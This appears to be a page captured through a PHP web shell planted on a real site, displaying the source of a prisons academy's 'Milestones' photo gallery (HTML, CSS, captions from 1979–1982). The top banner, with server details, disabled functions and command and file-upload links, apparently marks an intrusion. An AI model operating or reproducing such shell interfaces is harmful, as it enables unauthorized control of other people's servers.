|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.108 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/test/cgi-bin/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>Miletones</title>
<meta name="robots" content="noindex, follow" />
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Favicon -->
<link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.png">
<!-- CSS (Font, Vendor, Icon, Plugins & Style CSS files) -->
<!-- Font CSS -->
<link rel="preconnect" href="https://fonts.googleapis.com/">
<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:ital,wght@0,300;0,400;0,700;1,400;1,700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,400;1,500;1,600&display=swap" rel="stylesheet">
<!-- Vendor CSS (Bootstrap & Icon Font) -->
<link rel="stylesheet" href="assets/css/vendor/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/vendor/font-awesome.min.css">
<link rel="stylesheet" href="assets/css/vendor/dlicon.css">
<!-- Plugins CSS (All Plugins Files) -->
<link rel="stylesheet" href="assets/css/plugins/swiper-bundle.min.css">
<link rel="stylesheet" href="assets/css/plugins/animate.css">
<link rel="stylesheet" href="assets/css/plugins/aos.css">
<link rel="stylesheet" href="assets/css/plugins/odometer-theme-default.min.css">
<link rel="stylesheet" href="assets/css/plugins/ddbeforeandafter.css">
<link rel="stylesheet" href="assets/css/plugins/magnific-popup.css">
<!-- Style CSS -->
<link rel="stylesheet" href="assets/css/style.css">
<style>
.breadcrumb-area::before {
position: absolute;
content: "";
left: 0;
top: 0;
width: 100%;
height: 100%;
/*background-color: #000000;*/
opacity: 0!important;
}
.bg-img {
/*height:90%!important;*/
background-position: left!important;
background-size: cover;
}
@media only screen and (max-width: 767px) {
.breadcrumb-padding {
padding: 175px 0 92px;
}
}
.breadcrumb-content {
position: relative;
margin-top: 16%!important;
}
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
}
/* Container for the image grid */
.grid-container {
display: grid;
grid-template-columns: repeat(3, 1fr); /* 4 columns in a row */
gap: 15px;
padding: 20px;
justify-content: center;
}
/* Grid items (images) */
.grid-item {
position: relative;
overflow: hidden;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
/* Images in grid */
.grid-item img {
width: 100%;
height: 100%;
object-fit: cover;
transition: transform 0.3s ease;
}
/* Hover effect on images */
.grid-item:hover img {
transform: scale(1.1); /* Zoom-in effect */
}
/* Optional image caption */
.grid-item .caption {
position: absolute;
bottom: 0;
width: 100%;
padding: 10px;
background-color: rgba(0, 0, 0, 0.6);
color: white;
text-align: center;
font-size: 16px;
transition: background-color 0.3s ease;
}
.grid-item:hover .caption {
background-color: rgba(0, 0, 0, 0.8);
}
/* Media query for mobile devices (reduce to 2 images per row) */
@media (max-width: 768px) {
.grid-container {
grid-template-columns: repeat(2, 1fr); /* 2 columns in a row */
}
}
/* Media query for very small devices (1 image per row) */
@media (max-width: 500px) {
.grid-container {
grid-template-columns: repeat(1, 1fr); /* 1 column in a row */
}
}
</style>
</head>
<?php include 'header.php'; ?>
<!-- breadcrumb area -->
<div class="breadcrumb-area breadcrumb-padding bg-img" style="background-image:url(assets/images/bg/banner.webp)">
<div class="container">
<div class="breadcrumb-content text-center">
<h2><span style="color: #fffff;background-color:#0E70AF; ">GALLERY</span></h2>
<ul>
<!--<li><a href="index.html">About Us</a></li>-->
<!--<li><i class="fa fa-angle-right"></i></li>-->
<li><span style="color: #fffff;background-color:#0E70AF; ">MILESTONE</span></li>
</ul>
</div>
</div>
</div>
<!-- Service details area -->
<!-- <div class="section section-padding">-->
<!-- <div class="container">-->
<!-- <div class="service-details-content">-->
<!-- <div class="responsive-wrapper responsive-wrapper-padding-bottom-90pct" style="-webkit-overflow-scrolling: touch; overflow: auto; height: 600px;">-->
<!-- <iframe src="Newsletter/Milestones2.pdf" style="height: 100%; width: 100%">-->
<!-- <p style="font-size: 110%;"><em><strong>ERROR: </strong> -->
<!--An iframe should be displayed here but your browser version does not support iframes.</em> Please update your browser to its most recent version and try again, or access the file <a href="http://apca.org.in/Newsletter/Milestones2.pdf">with this link.</a></p>-->
<!-- </iframe>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<!-- </div>-->
<div class="grid-container">
<div class="grid-item">
<img src="assets/images/milestones/m1.JPG" alt="Image 1">
<div class="caption">Administrative building of the Academy on the day of Inauguration-01.10.1979</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m2.JPG" alt="Image 2">
<div class="caption">K. Narayanaswamy, Hom'ble Minister for Law and Prisons, Tamilnadu - 01.10.1979</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m3.JPG" alt="Image 3">
<div class="caption">Sir.R.L. Handa, I.P.S., Ibspector General of Prisons, Tamilnadu at the ingugural ceremony</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m4.JPG" alt="Image 4">
<div class="caption">K. Narayanaswamy, Chief Guest, Sir.R.L. Handa, I.P.S, Sir.C.S. Malliah, Sri. Mahmud Bin Ahmed IPS, Sir.R. Gopala Menon, and Sri. K.LN. Reddy</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m5.JPG" alt="Image 4">
<div class="caption">Sir.R. Gopala Menon, Inspector General of Prisons, Kerala speaking on the occasion.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m6.JPG" alt="Image 4">
<div class="caption">Sri. Mahmood Bin Muhammad, I.P.S, Inspecto General of Prisons and DCS, Andhra Pradesh speaking on the occasion.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m7.JPG" alt="Image 2">
<div class="caption">Dr. Hira Singh, Director, N.I.S.D., New Delhi, being received by Sri. KLN Reddy, Director.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m8.JPG" alt="Image 3">
<div class="caption">Dr. Hira Singh, Director, N.I.S.D., New Delhi, at the first passing out parade of six-months inservice course.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m9.JPG" alt="Image 4">
<div class="caption">Passing Out Parade of first batch of six months course, Mach 1980.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m10.JPG" alt="Image 4">
<div class="caption">Meeting of the Board of Management, 1980</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m11.JPG" alt="Image 4">
<div class="caption">Hon'ble Justice Janaki Ammal, Kerala High Court, visted the Academy during 1980.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m12.JPG" alt="Image 2">
<div class="caption">Hon'ble Justice Madava Reddy A.P.High Court, with Director.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m13.JPG" alt="Image 3">
<div class="caption">Sri.B.K. Roy, I.P.S., Director General, National Police Academy, Hyderabad, September 1980.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m14.JPG" alt="Image 4">
<div class="caption">Chief Guest presenting the Best All Rounder Medal to Sri.M.R.Ahmed, Deputy Superintendent, Andhra Pradesh.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m15.JPG" alt="Image 4">
<div class="caption">Visitors at the first passing out parade</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m16.JPG" alt="Image 4">
<div class="caption">Chief Guest presenting certificate to Smt. Rajasoundari, Asst. Jailor, Tamilnadu.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m17.JPG" alt="Image 2">
<div class="caption">Sri.W.I. Devaram, I.P.S., D.I.G of Police, speaking on the occasion of passing out parade.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m18.JPG" alt="Image 3">
<div class="caption">Justice V.R.Krishna Iyer, Tamilnadu being received by the Director at the Institute. Sri.R.L. Handa IPS is also seen.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m19.JPG" alt="Image 4">
<div class="caption">Sri.S.N Shukla, I.P.S., I.G.P and D.C.S, Hyderabad and Sri. Mahmiid Bin Muhammed IPS, Addl.Home Secretary, Andhra Pradesh Visiting the Institute for passing out parade.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m20.JPG" alt="Image 4">
<div class="caption">Sri. Mahmood Bin Muhammed IPS, Addl.Home Secretary, Andhra Pradesh presenting Best all rounder medal to Sri.R. Narayanan, Probation Officer, Tamilnad, April 1982.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m21.JPG" alt="Image 4">
<div class="caption">Sri.E.L. Stracy, I.P.S., Director General of Police(Rted), Madras, Visited the institute.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m22.JPG" alt="Image 2">
<div class="caption">RICA Staff with E.L. Stracy, I.P.S., Director General of Police(Rted), Madras.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m23.JPG" alt="Image 3">
<div class="caption">Sri.R.L. Handa, I.P.S., I.G. of Prisons, Tamilnadu.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m24.JPG" alt="Image 4">
<div class="caption">Dr.V.N. Pillai, Former Director, UNAFEI, Tokyo & Chairman, Sri Lanka Prisons Commission visted the institute.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m25.JPG" alt="Image 4">
<div class="caption">Sri. Hira Singh, Director, NISD & Sri.V.P. Marwah, I.P.S., Joint Secretary, New Delhi, visited the institute.</div>
</div>
<div class="grid-item">
<img src="assets/images/milestones/m26.JPG" alt="Image 4">
<div class="caption">Hon'ble Justice Sri.A. Seetharam Reddy. A.P. High Court visited the Institute.</div>
</div>
<!-- Add more grid items as needed -->
</div>
<!-- Footer area -->
<?php include 'footer.php'; ?>
<!-- JS Vendor, Plugins & Activation Script Files -->
<!-- Vendors JS -->
<script src="assets/js/vendor/modernizr-3.11.7.min.js"></script>
<script src="assets/js/vendor/jquery-3.6.0.min.js"></script>
<script src="assets/js/vendor/jquery-migrate-3.3.2.min.js"></script>
<script src="assets/js/vendor/bootstrap.bundle.min.js"></script>
<!-- Plugins JS -->
<script src="assets/js/plugins/swiper-bundle.min.js"></script>
<script src="assets/js/plugins/hoverparallax.min.js"></script>
<script src="assets/js/plugins/scrollup.js"></script>
<script src="assets/js/plugins/odometer.min.js"></script>
<script src="assets/js/plugins/ddbeforeandafter.js"></script>
<script src="assets/js/plugins/magnific-popup.js"></script>
<script src="assets/js/plugins/imagesloaded.js"></script>
<script src="assets/js/plugins/isotope.js"></script>
<script src="assets/js/plugins/aos.js"></script>
<script src="assets/js/plugins/sticky-sidebar.js"></script>
<script src="assets/js/plugins/ajax-mail.js"></script>
<!-- Activation JS -->
<script src="assets/js/main.js"></script>
</body>
</html>